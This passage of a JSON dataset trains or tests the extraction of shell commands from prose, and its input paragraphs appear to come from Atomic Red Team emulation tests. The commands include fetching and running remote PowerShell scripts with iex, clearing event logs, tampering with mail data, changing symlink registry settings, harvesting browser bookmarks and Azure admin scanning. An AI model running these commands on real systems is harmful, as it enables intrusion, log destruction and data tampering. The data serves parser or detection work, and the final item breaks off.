    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy and then delete mail data on macOS, use the following command: mkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\nrm -rf ~/Library/Mail/copy/*; To copy and modify mail data on Windows, use the following command sequence: New-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \"Modification for Atomic Red Test\" -ErrorAction Ignore }\n",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\nrm -rf ~/Library/Mail/copy/*\\n\", \"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \\\"Modification for Atomic Red Test\\\" -ErrorAction Ignore }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can allow access to files from local shortcuts with local or remote paths by executing these fsutil commands: fsutil behavior set SymlinkEvaluation R2L:1\nfsutil behavior set SymlinkEvaluation R2R:1; To enable both 'remote to local' and 'remote to remote' symbolic links using reg.exe, run the following commands: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d \"1\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d \"1\" /f",
    "output": "{\"command_list\": [\"fsutil behavior set SymlinkEvaluation R2L:1\\nfsutil behavior set SymlinkEvaluation R2R:1\\n\", \"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d \\\"1\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute the Seatbelt technique using PowerSharpPack's WinPwn function, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\nInvoke-Seatbelt -Command \"-group=all\"; To conduct a security scan of an Azure AD tenant using read-only credentials and identify admin users, while saving the results as CSV files, use the following PowerShell commands:\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\" -force      \n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-AzAccount -Credential $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\\nInvoke-Seatbelt -Command \\\"-group=all\\\"\", \"Import-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AzureStealth.ps1\\\" -force      \\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-AzAccount -Credential $Credential\\nConnect-AzureAD -Credential $Credential\\nScan-AzureAdmins -UseCurrentCred\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can delete an individual file in the temp directory with this command: rm -f #{file_to_delete}; All files within the temporary directory can be deleted along with the folder itself by executing this command: rm -rf #{folder_to_delete}",
    "output": "{\"command_list\": [\"rm -f #{file_to_delete}\\n\", \"rm -rf #{folder_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following PowerShell sequence will clear all event logs: $logs = Get-EventLog -List | ForEach-Object {$_.Log}\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\nGet-EventLog -list\n. Success can be verified by examining the Security.evtx file in C:\\Windows\\System32\\winevt\\Logs.; This module employs WMI through VBA to clear eventlogs, but requires elevated privileges to execute successfully. Run the following command to implement it:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1070.001\\src\\T1070.001-macrocode.txt\" -officeProduct \"Word\" -sub \"ClearLogs\"",
    "output": "{\"command_list\": [\"$logs = Get-EventLog -List | ForEach-Object {$_.Log}\\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\\nGet-EventLog -list\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1070.001\\\\src\\\\T1070.001-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ClearLogs\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Google Chromium's bookmark files in JSON format on FreeBSD and save the results, use the following command: find / -path \"*/.config/chromium/*/Bookmarks\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null; This operation finds bookmark files for Chrome and Opera in Windows user directories with the command: Get-ChildItem -Path C:\\Users\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force",
    "output": "{\"command_list\": [\"find / -path \\\"*/.config/chromium/*/Bookmarks\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\", \"Get-ChildItem -Path C:\\\\Users\\\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp 